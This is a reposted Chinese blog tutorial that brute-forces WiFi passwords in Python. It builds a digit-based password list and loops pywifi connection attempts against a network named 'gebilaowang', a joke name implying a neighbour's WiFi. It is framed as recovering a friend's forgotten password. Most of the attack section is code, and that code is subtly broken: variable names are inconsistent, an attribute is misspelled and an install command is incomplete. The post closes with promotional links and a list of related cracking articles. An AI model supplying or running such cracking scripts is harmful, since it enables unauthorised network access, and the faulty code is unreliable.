弱智破解法——用python破解WIFI
前言
文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。
作者:李嘉图
PS:如有需要Python学习资料的小伙伴可以加点击下方链接自行获取http://t.cn/A6Zvjdun
起因
今天有个朋友家里wifi密码忘了,没有能连上的设备,抓瞎了.
刚好看到一篇博客,学了一下,成功了,非常简单.这个方法用来破自家的wifi效率很高,你自己设计可能的算法肯定最贴近你自己设计密码的思路,什么名字加生日啊或者车牌号啥的.甚至自己把可能的密码都写出来,写上几十个,存成txt文件就可以了.
这篇文章学习用还可以,动歪脑筋的请放弃吧,完全不懂算法的话,生成密码本就得几天光是陌生人的名字+生日的组合,写出来就得几个G了,你想想几个G的txt文件是啥概念 ,在挨个试错破解,又得很久.
原理:
根据一个固定的密码本,一个一个试密码,直到成功为止 (确实很弱智)
难点:
密码本的设计(设计越合理,越接近生活中的常用密码,破解成功率越大,破解速度越快)
我们一般是在网上找现成的常用密码本,或者自己设计算法,猜测密码,这里先介绍一下自己设计的最简单的密码生成器
密码生成器:
利用Python的itertools工具
注意:下载这个包的时候,名字是more-itertools(我也不知道为啥.应该是什么历史原因)
在cmd面板输入: py -m pip more-itertools
题外话:推荐使用清华园的国内镜像下载,先更改pip的下载链接
py -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pip -U #先下载最新的pip pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple #设置pip的国内镜像
下面是最简单的密码生成器,主要是示例一下,算法可以自己改
import itertools as its words='1234567890'#迭代器
r=its.product(words,repeat=3)#生成密码本,五位数的话,repeat=5
dic=open('./wifipasswords.txt','a')#以追加模式打开文件,如果文件不存在,会自动创建
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('密码本已经生成')
模拟WiFi连接
import pywifi
from pywifi import const
import time #下面的自定义函数是测试连接,返回连接结果
def wifiConnect(pwd):
wifi=pywifi.PyWiFi()#抓取本机的网卡接口
ifaces=wifi.interfaces()[0]#获取第一个无线网卡
iface.disconnect()#断开所有连接
time.sleep(1)#休息一秒
wifistatus=ifces.status()#连接状态
if wifistatus==const.IFACE_DISCONNECTED:#如果没有wifi连接
profile=pywifi.Profile()#创建wifi连接文件
profile.ssid='gebilaowang'#要连接的wifi的名称
profile.auth=const.AUTH_ALG_OPEN#网卡的开放状态
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法,一般的wifi加密算法是wps
profile.clipher=const.CIPHER_TYPE_CCMP#加密单元
profile.key=pwd#读取试用密码
ifaces.remove_all_network_profiles()#删除失败的文件
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(3)#留时间给系统反应,就像我们平常连wifi,输对密码后要等一下
if ifaces.status()==const.IFACE_CONNECTED:#如果连接成功
return True
else:
return False
else:
print('你已经连好wifi了,别贪心啦') #下面的自定义函数是读取密码本
def readPassword():
print('开始破解:')
path='./wifipasswords.txt'#密码本路径
file=open(path,'r')#只读模式打开密码本
while True:
try:
pad=file.readline()#一行一行读取
bool=wifiConnect(pad)#测试连接,返回连接结果 if bool:
print('密码已经破解: ',pad)
print('wifi已经连接!!!')
break
else:
print('密码破解中...密码校对',pad)
print('\n 匹配失败')
except:
continue
#开始破解
readPassword()
破解成功率取决于密码本的设计,有机会的话下次写一下
2020年最新Python教程:
如果你处于想学Python或者正在学习Python,Python的教程不少了吧,但是是最新的吗?
说不定你学了可能是两年前人家就学过的内容,在这小编分享一波2020最新的Python教程。
以上这些教程小编已经为大家打包准备好了,希望对正在学习的你有所帮助!
获取方式,私信小编 “ 资料 ”,即可免费获取哦!
弱智破解法——用python破解WIFI的更多相关文章
- 网络攻防大作业——用python实现wifi破解
实验内容:不借助其他工具,用python暴力破解wifi 实验工具:python3.6+pywifi模块+密码字典 实验环境:Windows7(64bit) 实验思路: 首先搜索附近的wifi,将这些 ...
- 实验楼Python破解验证码
本人大二,因为Python结业考试项目,又想要学习机器学习方向,但是由于接触时间不长,选择了实验楼的Python破解验证码这个项目作为我的项目, 我在原来的基础上加了一些代码用于完善,并且对功能如何实 ...
- 利用 Python 破解 ZIP 或 RAR 文件密码
我们经常会从网络上下载一些带密码的压缩包,想要获取里面的内容,往往就要给提供商支付一些费用.想要白嫖其中的内容,常见的做法是百度搜索一些压缩包密码破解软件,但后果相信体验过的人都知道.本文将会利用 P ...
- Python 破解极验滑动验证码
Python 破解极验滑动验证码 测试开发社区 1周前 阅读目录 极验滑动验证码 实现 位移移动需要的基础知识 对比两张图片,找出缺口 获得图片 按照位移移动 详细代码 回到顶部 极验滑动验证码 以 ...
- 使用 Python破解大众点评字体加密(SVG反扒)
前言 大众点评拥有大量高质量评论信息.种草信息,同时也有非常严格的反扒机制. 今天我们一起使用 Python破解大众点评字体加密,获取极具商业价值的信息. 本文知识点: requests 的使用 xp ...
- python操作wifi
python连接wifi需要使用pywifi包,可以用pip install pywifi安装 1.导入包 import pywifi,time #保存包中写义的常量 from pywifi impo ...
- Visual Assist X 10.6.1837完美破解版(带VS2010破解)
Visual Assist X 10.6.1837完美破解版(带VS2010破解) 实用软件, 资源分享Add comments 八102011 转载自:http://www.blog.namind. ...
- Adobe Photoshop CC 2018 v19.0 简体中文正式版下载安装破解(附注册机+破解教程) 32/64位(安装破解注意事项是什么)
Adobe Photoshop CC 2018 v19.0 简体中文正式版下载安装破解(附注册机+破解教程) 32/64位(安装破解注意事项是什么) 一.总结 一句话总结:下载安装破解教程文中都有,需 ...
- xmind 8 update8(pro)最新版专业版破解教程(附破解补丁以及注册机,全网独家可用)
title: "xmind 8 update8(pro)最新版专业版破解教程(附破解补丁以及注册机,全网独家可用)" categories: soft tags: soft aut ...
随机推荐
- MySQL学习(4)
一 视图 预先定义一种对应关系,如:temp_table <-----> select * from class where student_id >10,那么这种对应关系叫做视图. ...
- MySQL----DML(增删改表中数据)
##DML:增删改表中的数据 1.添加数据 *语法: * insert into 表名(列名1,列名2,...列名n) values (值1,值2,...值n); *注意: 1.列名和值要一一对应. ...
- 概率-拒绝采样 Rejection Sampling
2018-12-09 16:40:30 一.使用Rand7()来生成Rand10() 问题描述: 问题求解: 这个问题字节跳动算法岗面试有问到类似的,有rand6,求rand8,我想了好久,最后给了一 ...
- 3 report formats of SFDC
Choose one of the following report formats using the Format menu of the report builder. Tabular form ...
- OpenCV-Python 光流 | 四十八
目标 在本章中, 我们将了解光流的概念及其使用Lucas-Kanade方法的估计. 我们将使用cv.calcOpticalFlowPyrLK()之类的函数来跟踪视频中的特征点. 我们将使用cv.cal ...
- Ceph学习笔记(2)- CRUSH数据分布算法
前言: 分布式存储系统需要让数据均匀的分布在集群中的物理设备上,同时在新设备加入,旧设备退出之后让数据重新达到平衡状态尤为重要.新设备加入后,数据要从不同的老设备中迁移过来.老设备退出后,数据迁移 ...
- 一 JVM垃圾回收模型
一 JVM垃圾回收模型 一. GC算法 1.1 标记-清除算法(Mark-Sweep) 算法分为"标记"和"清除"两个阶段首先标记出所有需要回收的对象,然后回收 ...
- 报错代码:svn-http status413'requset entity too large
报错代码:svn-http status413'requset entity too large 发现报错,判断问题.解决问题.记录问题. SVN服务器端排查过没有问题,其他客户端都能正常更新.只有一 ...
- A 现代艺术
时间限制 : - MS 空间限制 : 165536 KB 评测说明 : 1s 问题描述 何老板是一个现代派的艺术家.他在一块由n*n的方格构成的画布上作画.一开始,所有格子里的数字都是0.何老板 ...
- WEB安全——XML注入
浅析XML注入 认识XML DTD XML注入 XPath注入 XSL和XSLT注入 前言前段时间学习了.net,通过更改XML让连接数据库变得更方便,简单易懂,上手无压力,便对XML注入这块挺感兴趣 ...